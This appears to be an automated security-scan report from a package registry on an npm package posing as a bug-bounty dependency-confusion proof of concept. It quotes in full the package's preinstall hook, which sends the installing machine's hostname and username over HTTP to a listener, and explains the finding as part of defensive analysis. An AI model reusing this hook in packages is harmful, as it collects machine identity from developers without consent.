registry / Install hook abuse / @rutxploit-sec/subsplash-google-tag-manager

@rutxploit-sec/subsplash-google-tag-manager

BUGBOUNTY PoC — represents @subsplash/google-tag-manager — @subsplash/google-tag-manager (8 refs) — Subsplash report 7a8faa0b

This report shows the evidence for @rutxploit-sec/subsplash-google-tag-manager@1.0.0, the only known version.

AI Security Review

scanned 26d ago · by lpm-firewall-ai

The package contains an automatic preinstall hook that harvests machine identity fields and sends them over HTTP. This is concrete install-hook abuse and is not necessary for the declared module entrypoint.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, before the package is installed.

Impact

Installing the package causes unconsented machine identity collection and network communication.

Mechanism

The preinstall script invokes Node inline, obtains the hostname and operating-system username, and includes them in an HTTP GET request.

Attack narrative

On installation, the preinstall lifecycle hook executes without an import or user command. It collects the hostname and current username and transmits them in a request to a listener on port 8099. The package entrypoint identifies the event as public-npm dependency confusion, which supports that the lifecycle behavior is intended to detect or exploit installation of the package rather than provide the advertised library functionality.

AI rationale

Evidence

package.jsonindex.js

Network endpoints1

127.0.0.1:8099/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest defines a preinstall hook that runs inline Node code automatically during installation.
That hook reads the machine hostname and current operating-system username, then sends them to a local HTTP endpoint.
The declared main entrypoint only logs that the package was loaded from public npm as a dependency-confusion event.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsTrivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 126 B of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/google-tag-manager...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node -e \"var http=require

High

Suspicious Lifecycle Evidence

The manifest defines a preinstall hook that runs inline Node code automatically during installation.

package.jsonView on unpkg · L5

7"preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/google-tag-manager')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/google-tag-manager dep confusion EXECUTED — rutxploit'" }, "author": "rutxploit-sec (authorized Bugcrowd — 7a8f

High

Suspicious Lifecycle Evidence

The manifest defines a preinstall hook that runs inline Node code automatically during installation.

package.jsonView on unpkg · L7

High

Ai Review Evidence

That hook reads the machine hostname and current operating-system username, then sends them to a local HTTP endpoint.

package.jsonView on unpkg · L7

package.json#scripts.preinstallView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.json#scripts.preinstallView on unpkg

index.jsView file

1var os=require("os"); console.log("[DEP-CONFUSION] @subsplash/google-tag-manager loaded from PUBLIC npm"); module.exports={};

High

Suspicious Dependency Evidence

The declared main entrypoint only logs that the package was loaded from public npm as a dependency-confusion event.

index.jsView on unpkg · L1

Source & flagged code

7 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node -e \"var http=require

High

Suspicious Lifecycle Evidence

The manifest defines a preinstall hook that runs inline Node code automatically during installation.

package.jsonView on unpkg · L5

Findings

1 Critical6 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSemantic Analysis Limitedpackage.json#scripts.preinstall

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

HighSuspicious Dependency Evidenceindex.js

LowScripts Present

LowHigh Entropy Strings

Affected versions and remediation

This report applies to @rutxploit-sec/subsplash-google-tag-manager@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @rutxploit-sec/subsplash-google-tag-manager@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-29 22:31:17.089Z (UTC).

Source advisory published: 2026-09-29 22:11:49.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousInstall Hook AbuseBlockPublishedSep 27, 2026, 7:03 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @rutxploit-sec

Other install hook abuse packages

Behavioral surface

Related packages

More from @rutxploit-sec

Other install hook abuse packages

Source & flagged code